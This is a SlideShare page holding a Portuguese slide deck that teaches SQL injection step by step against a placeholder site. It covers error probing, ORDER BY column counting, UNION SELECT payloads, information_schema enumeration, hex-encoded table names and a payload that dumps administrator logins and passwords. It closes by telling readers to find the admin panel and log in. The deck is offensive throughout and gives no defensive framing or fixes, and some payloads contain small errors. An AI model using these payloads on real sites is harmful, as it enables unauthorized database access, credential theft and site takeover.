etetet

808 visualizações

Publicada em

Titulo: etetet
Alunos: etetertert
Cidade:
Disciplina:
Turma:
Publico até ápos a corre

0 comentários
0 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

  • Seja a primeira pessoa a gostar disto

Sem downloads
Visualizações
Visualizações totais
808
No SlideShare
0
A partir de incorporações
0
Número de incorporações
3
Ações
Compartilhamentos
0
Downloads
2
Comentários
0
Gostaram
0
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

etetet

  1. 1. SQL Injection – Tutorial passo a passo!Autor: J4rll3y RibeiroDuvida ou alguma sugestão: J4rll3y@live.com (MSN)O que é Banco de dados?!Banco de dados (ou base de dados) é um conjunto de registros dispostos em estrutura regular quepossibilita a reorganização dos mesmos e produção de informação. Um banco de dadosnormalmente agrupa registros utilizáveis para um mesmo fim.SQL Injection?!A Injeção de SQL, mais conhecida através do termo americana SQL Injection, é um tipo de ameaçade segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL.Deste modo a chamada injeção de SQL ocorre quando o atacante consegue inserir uma série deinstruções SQL dentro de uma consulta (query) através da manipulação da entrada de dados deuma aplicação.SQL significa Structured Query Language, ou Linguagem de Consulta Estruturada.Prática!A técnica conhecida como information_schema, é utilizada para descobrir todas as tabelas ecolunas existentes no banco de dados. Ela faz o trabalho de programas que auxiliam a exploraçãodo SQL Injection (SQL Helper) para descobrir as tabelas e as colunas. Com este método você temsua vida facilitada :)INFORMATION_SCHEMAComo já expliquei para vocês, agora iremos capturar do banco de dados as tabelas e as colunas
  2. 2. do banco de dados de um site fictício.Descobrindo se o site está vulnerável ou Não!Supomos que temos a seguinte notícia: www.site.com.br/noticias.php?id=15Para saber se o site está ou não vulnerável a SQL Injection, adicionamos uma (aspas simples)depois de id=15, ficando assim: www.site.com.br/noticias.php?id=15Ou então adicionando um null depois de id= ficando assim: www.site.com.br/noticias.php?id=nullSe o site retorna algum erro o site está vulnerável!Descobrindo o numero de tabelas em um site!Depois de saber que o site está vulnerável, vamos descobrir as tabelas do site com o comandoorder by! Mas como usar o comando order by? Bastante simples, vamos ao exemplo!Depois do id=15 adicionamos um "Order by" e o numero! Como no exemplo abaixo!www.site.com.br/noticias.php?id=15 order by 1 - Sem errowww.site.com.br/noticias.php?id=15 order by 2 - Sem errowww.site.com.br/noticias.php?id=15 order by 3 - Sem errowww.site.com.br/noticias.php?id=15 order by 4 - Sem errowww.site.com.br/noticias.php?id=15 order by 5 - Sem erroObs: Se depois de adicionar o "order by e o numero" a pagina carregar normalmente, é porque atabela existe na database!
  3. 3. Pagina Carregada normalmente!Depois de adicionar o "order by e o numero‖ a pagina gerar algum erro, então aquela tabela nãoexiste como na foto abaixo!A pagina gerou um Erro, informando que a coluna seis Não existe!Concluímos que o site tem cinco tabelas =)Usando o comando UnionDepois de saber quantas tabelas têm no site, vamos usar o comando Union all select!
  4. 4. Para usar o comando é bastante simples: www.site.com.br/noticias.php?id=-15 union all select,1,2,3,4,5—Obs: usei um "-" depois do ID= e um "--" depois do numero 5que significa um comentário!A pagina retornará dois números, por exemplo, nesse site fictício ela gerou os seguintes númerosna pagina: 2 e 4!Descobrindo a Versão da DatabasePara descobrir a versão do Banco de dados, vamos adicionar um "@@version" no numero geradopelo site, por exemplo: www.site.com.br/noticias.php?id=-15 union all select ,1,@@version,3,4,5—Depois disso a pagina irá retorna a versão do banco de dados! Muito simples não? :)
  5. 5. Listando todas as tabelas do siteVamos agora listar todas as tabelas do site, então vamos ao exemplo:www.site.com.br/noticias.php?id=-15 union all select ,1,group_concat(table_name),3,4,5 frominformation_schema.tables where table_schema=database()—A url ficou meio grande né :) Depois desse comando, se tiver tudo certo irá mostrar na pagina todosas tabelas do site tipo:admin,Categorias,Download,Empresa,EmpresaImg,Novidades,Produtos,ProdutosImg etc...A tabela que nos intereça é a ―Admin‖ então vamos aprender a puxar as colunas dessa tabela!Listando todas as colunas da tabela Admin!Para listar as colunas é bastante fácil, vamos ao exemplo!www.site.com.br/noticias.php?id=-15 union all select ,1,group_concat(column_name),3,4,5 frominformation_schema.columns where table_name=Admin—Depois de adicionado e a pagina não mostrar as colunas, então vamos ter que converte o Nome―Admin‖ para Hexdecimal, existe um site que faz isso pra nós!http://www.dolcevie.com/js/converter.html
  6. 6. Depois é só clicar em ―ASCll To Hex‖ e mostrará isso:Voltando ao site, vamos adicionar esses números depois de table_name=AdminFicando assim: www.site.com.br/noticias.php?id=-15 union all select,1,group_concat(table_name),3,4,5 from information_schema.tables wheretable_name=0x41646d696eObs: usei depois de table_name= um ―0x‖ e tambem tirei os ‖:‖ que separava os numeros!Depois disso, o site irá retorna as colunas:
  7. 7. Então analisando até aqui, já temos: A coluna (Admin), as Tabelas e o Banco de dados, agoravamos descobrir o Login e Senha!Descobrindo o Login e Senha!Agora é a parte mais fácio! Vamos adicionar na URL isso: www.site.com.br/noticias.php?id=-1union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 from Admin—Removemos o ‖Group‖ que vinha antes do ―concat‖ e Adicionamos o 0x3a que de Hexadecimalpara Ascii siginifica‖:‖ (dois pontos)Vejam o Login e Admin do site:Você poderia usar o ―Limit‖ para encontrar mais administradores e senha, a url ficaria assim:www.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 fromAdmin limit 1,1—Depoiswww.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 fromAdmin limit 2,1—Depoiswww.site.com.br/noticias.php?id=-1 union all select 1,concat(id,0x3a,Login,0x3a,Senha),3,4,5 fromAdmin limit 3,1—Se existir mais admistradores irá mostrar no site!Depois disso é só encontrar a área que o admin se loga no site, eu particularmente uso umprograma chamado: AdminPage/Login Finder que pode ser encontrado no Google!
  8. 8. Ele já achou a área do admin, depois disso é so logar no site e correr pro abraço!
  9. 9. Pronto!Espero que tenham gostadoConclusãoNesse tutorial você aprendeu (espero) a fazer um sql injection, lembrando que existem ferramentas
  10. 10. que fazem todo esse trabalho pra nós, mas com ferramenta não tem graça.Lembrando que usei a wikipédia para o tutorial!

×